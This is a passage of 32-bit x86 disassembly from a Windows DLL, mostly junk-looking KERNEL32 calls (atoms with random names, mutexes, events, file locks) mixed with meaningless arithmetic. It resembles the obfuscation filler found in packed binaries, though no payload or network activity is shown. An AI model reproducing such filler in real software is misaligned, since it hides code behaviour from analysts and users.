push str.pC5lBVi
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x124c], ax
mov eax, dword [ebp - 0x3a50]
mov ecx, dword [ebp - 0x3768]
or ecx, dword [eax]
mov edx, dword [0x100b9584]
mov dword [edx], ecx
mov dword [ebp - 0x3be0], str._AaV
mov eax, dword [0x100b98dc]
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx ecx, byte [ebp - 0x48]
mov edx, dword [ebp - 0x3b48]
movzx eax, byte [edx]
xor ecx, eax
mov byte [0x100b7182], cl
push 0
push 0x400
push 3
push 0
push 8
push 0x80000000
push str.iNYcjPPeb7Fs13ZIuJdHzu
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x3be4], eax
movzx ecx, word [ebp - 0x1244]
mov edx, dword [0x100b9e4c]
movzx eax, word [edx]
add ecx, eax
mov word [ebp - 0x1280], cx
movzx ecx, word [0x100b99b8]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x12c0], ax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x100b9f64], eax
push str.XVIaw_gj7_ExpUFJN
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100b9f68], ax
mov edx, dword [ebp - 0x3934]
mov eax, dword [ebp - 0x3994]
mov edx, dword [edx]
mov ecx, dword [eax]
shl edx, cl
mov dword [ebp - 0x2dd4], edx
mov eax, dword [0x100b958c]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x2d7c]
mov dword [0x100b7290], ecx
lea edx, [ebp - 0xaf30]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea eax, [ebp - 0xca8]
mov dword [ebp - 0x3be8], eax
push str.BWSEePR.AU
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1284], ax
movsx edx, byte [0x100b7183]
movsx ecx, byte [ebp - 0x261]
sar edx, cl
mov eax, dword [ebp - 0x3b00]
mov byte [eax], dl
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100b9c14], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100b949c], eax
mov ecx, dword [ebp - 0x37e8]
mov dl, byte [ecx]
mov byte [0x100b7fd3], dl
movsx eax, byte [ebp - 0x54]
movsx ecx, byte [ebp - 0x21e]
xor eax, ecx
mov edx, dword [ebp - 0x37e4]
mov byte [edx], al
mov eax, dword [ebp - 0x3900]
mov ecx, dword [eax]
mov dword [ebp - 0x3bec], ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x3bf0], eax
mov edx, dword [ebp - 0x374c]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x367c]
movzx edx, word [ecx]
xor eax, edx
mov word [0x100b94f8], ax
lea eax, [ebp - 0x1250]
mov dword [ebp - 0x3bf4], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100b9f6c], eax
mov ecx, dword [ebp - 0x3a4c]
mov edx, dword [ebp - 0x389c]
mov eax, dword [ecx]
add eax, dword [edx]
mov dword [ebp - 0x3634], eax
movzx ecx, byte [0x100b71ba]
movzx edx, byte [ebp - 0xe7]
or ecx, edx
mov byte [0x100b7167], cl
push 0x76e
mov eax, dword [ebp - 0x3ab4]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x3bf8], eax
push str.SPrD9D.O3_MT_WPhU0b
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100b9f70], ax
movsx ecx, byte [str.i3]
movsx edx, byte [ebp - 0x287]
and ecx, edx
mov byte [ebp - 0xf1], cl
mov eax, dword [0x100b7200]
mov dword [ebp - 0x3bfc], eax
mov ecx, dword [ebp - 0x39f0]
push ecx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 0x100a5534
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100b98e4], ax
mov edx, dword [0x100b94dc]
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [ebp - 0x3c00], eax
push str.Xl10LLc.a9kU_RX2xQfOc.GPE9lxl
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x12b4], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100b9f74], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x3a48], eax
movzx eax, word [0x100b71cc]
mov ecx, dword [ebp - 0x3a80]
movzx edx, word [ecx]
sub eax, edx
mov word [0x100b7294], ax
mov eax, dword [ebp - 0x3a78]
movsx edx, word [eax]
mov eax, dword [ebp - 0x35c8]
movsx ecx, word [eax]
shl edx, cl
mov word [ebp - 0x125c], dx
lea ecx, [ebp - 0x6d0]
mov dword [ebp - 0x3c04], ecx
mov edx, dword [0x100b9bc4]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x334c]
movzx ecx, byte [ecx]
sar eax, cl
mov byte [0x100b7e1f], al
mov edx, dword [ebp - 0x389c]
mov eax, dword [ebp - 0x3418]
mov ecx, dword [edx]
xor ecx, dword [eax]
mov edx, dword [ebp - 0x3680]
mov dword [edx], ecx
lea eax, [ebp - 0x2f40]
mov dword [ebp - 0x3c08], eax
mov cl, byte [ebp - 0x272]
mov byte [0x100b7fd6], cl
push 0x9c6
push 0
push 0x100b9ed0
push 1
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [ebp - 0x3c0c], eax
movzx edx, word [ebp - 0x1178]
movzx eax, word [0x100b94f8]
add edx, eax
mov ecx, dword [ebp - 0x33b8]
mov word [ecx], dx
mov edx, dword [ebp - 0x3684]
movsx eax, word [edx]
mov ecx, dword [ebp - 0x3a30]
movsx edx, word [ecx]
and eax, edx
mov word [ebp - 0xedc], ax
lea eax, [ebp - 0x266]
mov dword [0x100b9f78], eax
mov ecx, dword [ebp - 0x36f4]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x37e8]
movzx ecx, byte [eax]
or edx, ecx
mov byte [ebp - 0x3e], dl
mov edx, dword [ebp - 0x3964]
mov eax, dword [ebp - 0x34c0]
mov ecx, dword [edx]
shl eax, cl
mov dword [ebp - 0x2af4], eax
mov ecx, dword [ebp - 0x38d4]
mov edx, dword [ecx]
mov ecx, dword [0x100b7204]
sar edx, cl
mov dword [0x100b9ebc], edx
lea eax, [ebp - 0x262]
mov dword [ebp - 0x3c10], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100b9f7c], eax
movzx ecx, word [ebp - 0x10b8]
movzx edx, word [0x100b9924]
add ecx, edx
mov word [ebp - 0x1254], cx
push 0xbd5
mov eax, dword [0x100b99e0]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x3c14], eax
push 0x100b9f80
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movsx ecx, word [ebp - 0x1298]
mov edx, dword [ebp - 0x3914]
movsx eax, word [edx]
and ecx, eax
mov word [0x100b7298], cx
mov ecx, dword [ebp - 0x3884]
mov dl, byte [ecx]
mov byte [ebp - 0x297], dl
push 2
lea eax, [ebp - 0x9824]
push eax
mov ecx, dword [ebp - 0x9828]
push ecx
mov edx, dword [ebp - 0x982c]
push edx
mov eax, dword [ebp - 0x3788]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [0x100b9884], eax
mov ecx, dword [0x100b9f28]
mov edx, dword [ebp - 0x3760]
mov eax, dword [ecx]
xor eax, dword [edx]
mov dword [ebp - 0x37cc], eax
push str.Dr_TgLYUNoZWWW
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100b9fa4], ax
movzx ecx, word [0x100b98f8]
mov edx, dword [ebp - 0x37fc]
movzx eax, word [edx]
xor ecx, eax
mov word [0x100b71d0], cx
push str.LS0YR_lBsq
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1260], ax
mov dword [ebp - 0x3c18], 0x100b7280
mov ecx, dword [ebp - 0x372c]
movsx edx, byte [ecx]
mov eax, dword [0x100b9b24]
movsx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0x3824]
mov byte [eax], dl
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100b9fa8], eax
mov ecx, dword [ebp - 0x3a34]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x1180]
sub edx, eax
mov word [0x100b729c], dx
lea ecx, [ebp - 0x9ca0]
push ecx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100b9e74], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x3464], eax
lea edx, [ebp - 0x5f]
mov dword [ebp - 0x3c1c], edx
mov eax, dword [ebp - 0x38ec]
mov ecx, dword [ebp - 0x3170]
or ecx, dword [eax]
mov edx, dword [ebp - 0x3ad8]
mov dword [edx], ecx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100b968c], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x3c20], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100b9fac], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x3adc], eax
mov eax, dword [ebp - 0x3b10]
movsx edx, byte [eax]
movsx ecx, byte [0x100b714a]
shl edx, cl
mov eax, dword [0x100b9e78]
mov byte [eax], dl
mov ecx, dword [ebp - 0x35d0]
movzx edx, word [ecx]
movzx ecx, word [ebp - 0x108c]
sar edx, cl
mov eax, dword [ebp - 0x3648]
mov word [eax], dx
mov ecx, dword [0x100b9b74]
push ecx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [0x100b9fb0], eax
lea edx, [ebp - 0x1150]
mov dword [ebp - 0x3c24], edx
mov dword [0x100b9fb4], 0x100b7264
mov ax, word [ebp - 0x1278]
mov word [ebp - 0x12cc], ax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x376c], eax
mov ecx, dword [ebp - 0x3618]
movzx edx, byte [ecx]
movzx eax, byte [0x100b7e0f]
and edx, eax
mov byte [ebp - 0x291], dl
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x3c28], eax
mov ecx, dword [ebp - 0x3b98]
mov edx, dword [ebp - 0x30e8]
xor edx, dword [ecx]
mov eax, dword [0x100b9584]
mov dword [eax], edx
push 0x64d
push 0x29d0
push 0x3d2a
push 0x33b6
mov ecx, dword [0x100b9720]
push ecx
call dword [sym.imp.KERNEL32.dll_LockFile]
mov dword [ebp - 0x3798], eax
movsx edx, byte [ebp - 0xc1]
mov eax, dword [0x100b9654]
movsx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0x278], dl
push 0x100a55b4
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100b9fb8], ax
mov edx, dword [ebp - 0x3648]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x3650]
movzx edx, word [ecx]
and eax, edx
mov word [ebp - 0xf38], ax
push str.A36h_Alh_sNclbk
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x12d0], ax
lea eax, [ebp - 0xf80]
mov dword [0x100b9fbc], eax
mov ecx, dword [ebp - 0x372c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x3a90]
movsx ecx, byte [eax]
sar edx, cl
mov byte [ebp - 0xd0], dl
mov ecx, dword [0x100b99c8]
push ecx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [ebp - 0x3c2c], eax
mov edx, dword [ebp - 0x3ba0]
mov eax, dword [ebp - 0x3770]
mov edx, dword [edx]
mov ecx, dword [eax]
shl edx, cl
mov eax, dword [0x100b9f34]
mov dword [eax], edx
movsx ecx, word [ebp - 0x970]
mov edx, dword [ebp - 0x3b8c]
movsx eax, word [edx]
or ecx, eax
mov word [ebp - 0x123c], cx
lea ecx, [ebp - 0x28b]
mov dword [ebp - 0x3c30], ecx
mov edx, dword [ebp - 0x3758]
mov eax, dword [ebp - 0x3b78]
mov ecx, dword [edx]
xor ecx, dword [eax]
mov edx, dword [0x100b9bc0]
mov dword [edx], ecx
movzx eax, word [ebp - 0x1254]
mov ecx, dword [ebp - 0x3ba4]
movzx edx, word [ecx]
add eax, edx
mov word [ebp - 0x594], ax
mov eax, dword [ebp - 0x3170]
and eax, dword [ebp - 0x30e8]
mov ecx, dword [ebp - 0x3494]
mov dword [ecx], eax
push 0x100b9fc0
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push 0
push 0x160b
push 0x342c
push 0x9b
mov edx, dword [ebp - 0x36c4]
push edx
call dword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [0x100b9fe4], eax
mov ax, word [0x100b7220]
mov word [0x100b9fe8], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x3c34], eax
mov ecx, dword [0x100b9ed8]
mov dword [ebp - 0x3c38], ecx
movzx edx, byte [ebp - 0x274]
mov eax, dword [ebp - 0x3ba8]
movzx ecx, byte [eax]
sar edx, cl
mov byte [ebp - 0x283], dl
mov ecx, dword [0x100b96f8]
push ecx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
lea edx, [ebp - 0x9c40]
push edx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100b9998], eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x100b9fec], eax
lea eax, [ebp - 0xadc8]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x3c3c], eax
mov ecx, dword [ebp - 0x38dc]
movsx edx, byte [ecx]
movsx eax, byte [0x100b7166]
sub edx, eax
mov ecx, dword [0x100b987c]
mov byte [ecx], dl
mov dl, byte [ebp - 0x26e]
mov byte [ebp - 0x298], dl
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100b9ff0], eax
mov eax, dword [ebp - 0x3a50]
mov ecx, dword [ebp - 0x3478]
mov edx, dword [eax]
mov ecx, dword [ecx]
shl edx, cl
mov dword [ebp - 0x3108], edx
mov al, byte [ebp - 0x27c]
mov byte [0x100b7fd7], al
movsx ecx, word [ebp - 0xd08]
mov edx, dword [ebp - 0x3a30]
movsx eax, word [edx]
or ecx, eax
mov word [ebp - 0x578], cx
movzx ecx, word [ebp - 0xfd0]
mov edx, dword [0x100b9688]
movzx eax, word [edx]
add ecx, eax
mov word [ebp - 0x11cc], cx
mov ecx, dword [ebp - 0x36b8]
and ecx, dword [ebp - 0x3098]
mov dword [0x100b7208], ecx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100b9a48], eax
lea edx, [ebp - 0xbb]
mov dword [ebp - 0x3c40], edx
mov eax, dword [0x100b9584]
mov ecx, dword [ebp - 0x366c]
mov edx, dword [eax]
imul edx, dword [ecx]
mov dword [ebp - 0x3a7c], edx
mov eax, dword [ebp - 0x3a28]
movzx ecx, byte [eax]
movzx edx, byte [0x100b7167]
xor ecx, edx
mov byte [0x100b71bb], cl
lea eax, [ebp - 0xb0c]
mov dword [ebp - 0x3c44], eax
mov ecx, dword [ebp - 0x3544]
push ecx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [ebp - 0x3c48], eax
movzx edx, word [0x100b9f58]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x12d4], ax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100b9ff4], eax
mov dword [ebp - 0x3c4c], 0x100b7240
lea eax, [ebp - 0x77]
mov dword [0x100b9ff8], eax
mov ecx, dword [0x100b9c5c]
movzx edx, word [ecx]
movzx ecx, word [ebp - 0xf0c]
sar edx, cl
mov word [ebp - 0x1168], dx
mov eax, dword [0x100b99c0]
mov ecx, dword [ebp - 0x34c0]
shl eax, cl
mov ecx, dword [ebp - 0x3938]
mov dword [ecx], eax
mov edx, dword [ebp - 0x34bc]
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [0x100b9ffc], eax
push 0x5e5
mov eax, dword [0x100b9fa8]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x376c], eax
mov ecx, dword [ebp - 0x399c]
mov edx, dword [ebp - 0x3458]
add edx, dword [ecx]
mov dword [0x100b7210], edx
mov al, byte [ebp - 0x289]
mov byte [ebp - 0x299], al
movsx ecx, word [ebp - 0x123c]
mov edx, dword [ebp - 0x3684]
movsx eax, word [edx]
and ecx, eax
mov word [ebp - 0x670], cx
mov cl, byte [ebp - 0x261]
mov byte [0x100b7ff2], cl
push 0
push 8
push 2
push 0
push 1
push 0xc0000000
push str.VW5GqZAAYBCcgFBgmm
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x3c50], eax
mov edx, dword [ebp - 0x3a10]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x3808]
movzx edx, word [ecx]
or eax, edx
mov word [ebp - 0x11dc], ax
mov eax, dword [0x100b9584]
mov ecx, dword [0x100b9a4c]
mov edx, dword [eax]
imul edx, dword [ecx]
mov dword [ebp - 0x2e84], edx
mov ecx, dword [ebp - 0x377c]
mov eax, dword [ebp - 0x3044]
xor edx, edx
div dword [ecx]
mov dword [0x100b71f0], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100ba000], eax
movzx edx, word [0x100b9a50]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x12d8], ax
movzx eax, byte [ebp - 0x27c]
movzx ecx, byte [0x100b7143]
sar eax, cl
mov ecx, dword [ebp - 0x39e0]
mov byte [ecx], al
mov edx, dword [ebp - 0x3ab4]
push edx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, word [0x100b9970]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100ba004], ax
lea ecx, [ebp - 0x298]
mov dword [ebp - 0x3c54], ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x3c58], eax
push 0x237a
push 0x1c1e
push 0x2f63
push 0x2fa5
mov edx, dword [ebp - 0x3b44]
push edx
call dword [sym.imp.KERNEL32.dll_LockFile]
mov dword [0x100b9ecc], eax
movsx eax, word [ebp - 0x1194]
mov ecx, dword [ebp - 0x39b8]
movsx edx, word [ecx]
xor eax, edx
mov ecx, dword [0x100b9508]
mov word [ecx], ax
movzx edx, word [ebp - 0x1294]
mov eax, dword [0x100b99d8]
movzx ecx, word [eax]
add edx, ecx
mov word [ebp - 0x1148], dx
lea edx, [ebp - 0xadc8]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x3a40]
mov ecx, dword [eax]
mov dword [ebp - 0x3c5c], ecx
mov edx, dword [ebp - 0x37b8]
movsx eax, byte [edx]
movsx ecx, byte [0x100b717a]
and eax, ecx
mov byte [str.M_v_], al
mov edx, dword [ebp - 0x3884]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x1a5]
sub eax, ecx
mov byte [ebp - 0xe7], al
mov edx, dword [ebp - 0x2db8]
mov ecx, dword [ebp - 0x2be8]
shl edx, cl
mov dword [ebp - 0x3080], edx
mov eax, dword [0x100b9a2c]
movzx ecx, word [eax]
imul edx, ecx, 0x725
mov word [0x100b7224], dx
mov eax, dword [ebp - 0x3698]
mov cx, word [eax]
mov word [ebp - 0x12dc], cx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100ba008], eax
push str.3VfJ_S_ASoyHCQIJJj
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100ba00c], ax
mov eax, dword [0x100b983c]
cdq
mov ecx, 0x36b9
idiv ecx
mov dword [ebp - 0x2e00], eax
mov edx, dword [ebp - 0x34d0]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x278]
or eax, ecx
mov byte [0x100b71c7], al
mov edx, dword [ebp - 0x39e0]
movzx eax, byte [edx]
mov ecx, dword [0x100b9740]
movzx ecx, byte [ecx]
sar eax, cl
mov byte [ebp - 0x286], al
lea edx, [ebp - 0x1148]
mov dword [ebp - 0x3c60], edx
push str.RM5B.RzVzQXE
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x12e0], ax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x3c64], eax
mov eax, dword [0x100b9db8]
movzx ecx, word [eax]
movzx edx, word [0x100b71cc]
add ecx, edx
mov eax, dword [0x100b95f0]
mov word [eax], cx
movzx ecx, word [0x100b9be8]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100b9638], ax
mov edx, dword [ebp - 0x3968]
and edx, dword [0x100b7274]
mov eax, dword [ebp - 0x3b28]
mov dword [eax], edx
lea ecx, [ebp - 0x5c4]
mov dword [ebp - 0x3c68], ecx
lea edx, [ebp - 0x2d84]
mov dword [0x100ba010], edx
movsx eax, byte [ebp - 0x69]
movsx ecx, byte [ebp - 0x134]
shl eax, cl
mov ecx, dword [ebp - 0x34d0]
mov byte [ecx], al
mov edx, dword [0x100b9664]
mov al, byte [edx]
mov byte [0x100b7ff3], al
movzx ecx, word [ebp - 0x618]
movzx edx, word [0x100b9668]
xor ecx, edx
mov word [ebp - 0x1228], cx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x37e0], eax
lea eax, [ebp - 0x2afc]
mov dword [ebp - 0x3c6c], eax
mov ecx, dword [0x100b96d4]
mov edx, dword [ecx]
xor edx, dword [0x100b727c]
mov dword [0x100b7248], edx
lea eax, [ebp - 0x1160]
mov dword [ebp - 0x3c70], eax
movsx ecx, byte [ebp - 0x295]
movsx edx, byte [ebp - 0x26e]
add ecx, edx
mov byte [ebp - 0xef], cl
mov eax, dword [0x100b9b70]
movzx edx, byte [eax]
mov eax, dword [ebp - 0x3704]
movzx ecx, byte [eax]
sar edx, cl
mov byte [0x100b7fd7], dl
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x100ba014], eax
mov ecx, dword [ebp - 0x37e4]
movsx edx, byte [ecx]
mov eax, dword [0x100b9c78]
movsx ecx, byte [eax]
or edx, ecx
mov eax, dword [ebp - 0x3984]
mov byte [eax], dl
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x3c74], eax
mov ecx, dword [0x100b96f4]
mov edx, dword [ebp - 0x38c8]
and edx, dword [ecx]
mov dword [ebp - 0x2e8c], edx
mov dword [0x100ba018], 0x100b71d8
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100b996c], eax
lea eax, [ebp - 0x970]
mov dword [ebp - 0x3c78], eax
mov ecx, dword [ebp - 0x35d8]
mov edx, dword [ecx]
xor edx, dword [0x100b71f0]
mov eax, dword [ebp - 0x3c18]
mov dword [eax], edx
mov ecx, dword [0x100b9598]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x4e]
sub edx, eax
mov ecx, dword [0x100b9988]
mov byte [ecx], dl
movsx edx, byte [ebp - 0xd0]
mov eax, dword [0x100b9ec0]
movsx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 0x266], dl
push 2
push 0x100b9cb8
mov ecx, dword [ebp - 0x97f8]
push ecx
mov edx, dword [ebp - 0x97fc]
push edx
mov eax, dword [ebp - 0x36dc]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [0x100ba01c], eax
mov ecx, dword [0x100b724c]
mov dword [ebp - 0x3c7c], ecx
lea edx, [ebp - 0xf0c]
mov dword [0x100ba020], edx
mov eax, dword [ebp - 0x3a94]
mov cx, word [eax]
mov word [ebp - 0x12e4], cx
mov edx, dword [0x100b9b64]
movzx eax, word [edx]
movzx ecx, word [0x100b9924]
add eax, ecx
mov edx, dword [ebp - 0x3814]
mov word [edx], ax
movzx eax, byte [ebp - 0x1fd]
mov ecx, dword [ebp - 0x37e8]
movzx ecx, byte [ecx]
sar eax, cl
mov edx, dword [0x100b96fc]
mov byte [edx], al
mov eax, dword [0x100b9d54]
mov ecx, dword [ebp - 0x3a4c]
mov edx, dword [eax]
and edx, dword [ecx]
mov dword [ebp - 0x3654], edx
mov eax, dword [0x100b71e0]
or eax, dword [0x100b71c8]
mov dword [ebp - 0x3050], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x3c80], eax
lea ecx, [ebp - 0x275]
mov dword [0x100ba024], ecx
movzx edx, word [ebp - 0xb0c]
mov eax, dword [ebp - 0x3818]
movzx ecx, word [eax]
xor edx, ecx
mov eax, dword [ebp - 0x36c0]
mov word [eax], dx
mov cx, word [0x100b7254]
mov word [ebp - 0x12e8], cx
mov edx, dword [ebp - 0x3538]
movsx eax, byte [edx]
mov ecx, dword [0x100b9c78]
movsx edx, byte [ecx]
add eax, edx
mov byte [0x100b7e3b], al
movzx eax, word [0x100b973c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x12ec], ax
lea ecx, [ebp - 0x277]
mov dword [ebp - 0x3c84], ecx
mov edx, dword [ebp - 0x3604]
mov ecx, dword [ebp - 0x3268]
shl edx, cl
mov eax, dword [ebp - 0x385c]
mov dword [eax], edx
mov ecx, dword [0x100b7210]
mov dword [0x100ba028], ecx
mov edx, dword [ebp - 0x3a58]
movsx eax, byte [edx]
movsx ecx, byte [str._AaV]
and eax, ecx
mov edx, dword [ebp - 0x38d8]
mov byte [edx], al
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x35c0], eax
push str.WzOepqS_vwIT2pQ
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100ba02c], ax
movzx eax, word [ebp - 0xfd0]
movzx ecx, word [ebp - 0xf60]
sar eax, cl
mov word [ebp - 0x748], ax
movsx ecx, word [ebp - 0x1298]
mov edx, dword [ebp - 0x3840]
movsx eax, word [edx]
xor ecx, eax
mov word [0x100b72a0], cx
movzx ecx, byte [ebp - 0x1a5]
mov edx, dword [ebp - 0x33f4]
movzx eax, byte [edx]
xor ecx, eax
mov edx, dword [ebp - 0x3c30]
mov byte [edx], cl
mov eax, dword [0x100b9620]
mov ecx, dword [0x100b9dd4]
add ecx, dword [eax]
mov dword [ebp - 0x3340], ecx
mov edx, dword [ebp - 0x3b04]
movzx eax, word [edx]
mov ecx, dword [0x100b9830]
movzx edx, word [ecx]
or eax, edx
mov word [0x100b71d4], ax
mov eax, dword [ebp - 0x364c]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x306c]
mov dword [ebp - 0x39c0], ecx
lea edx, [ebp - 0x287]
mov dword [ebp - 0x3c88], edx
mov eax, dword [ebp - 0x3a94]
movsx ecx, word [eax]
movsx edx, word [0x100b7240]
sub ecx, edx
mov word [0x100b729c], cx
mov eax, dword [ebp - 0x398c]
movzx edx, byte [eax]
movzx ecx, byte [0x100b7e2b]
shl edx, cl
mov byte [ebp - 0x277], dl
push str.QfBFBk
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x12f0], ax
push 2
push 0x100b9cb8
mov eax, dword [ebp - 0x9818]
push eax
mov ecx, dword [ebp - 0x981c]
push ecx
mov edx, dword [0x100b9494]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [0x100ba030], eax
mov eax, dword [ebp - 0x2dd4]
mov dword [ebp - 0x3c8c], eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x3c90], eax
lea ecx, [ebp - 0x271]
mov dword [0x100ba034], ecx
mov edx, dword [ebp - 0x36f0]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x3834]
movzx ecx, word [ecx]
sar eax, cl
mov word [ebp - 0x6f0], ax
movzx edx, word [ebp - 0x12c8]
mov eax, dword [0x100b95f0]
movzx ecx, word [eax]
xor edx, ecx
mov word [ebp - 0x5a8], dx
push str.aztb
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x11b4], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100b96ac], eax
mov edx, dword [0x100b98e8]
mov eax, dword [ebp - 0x3860]
mov ecx, dword [edx]
add ecx, dword [eax]
mov dword [0x100b72a4], ecx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x3b54], eax
mov edx, dword [0x100b9828]
movsx eax, word [edx]
mov ecx, dword [ebp - 0x3a94]
movsx edx, word [ecx]
and eax, edx
mov word [ebp - 0x11e4], ax
mov dword [ebp - 0x3c94], 0x100b7f3e
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x100ba038], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x3c98], eax
mov eax, dword [ebp - 0x3170]
imul eax, dword [ebp - 0x3b74]
mov dword [0x100b7278], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100b9f30], eax
mov ecx, dword [ebp - 0x3624]
mov dl, byte [ecx]
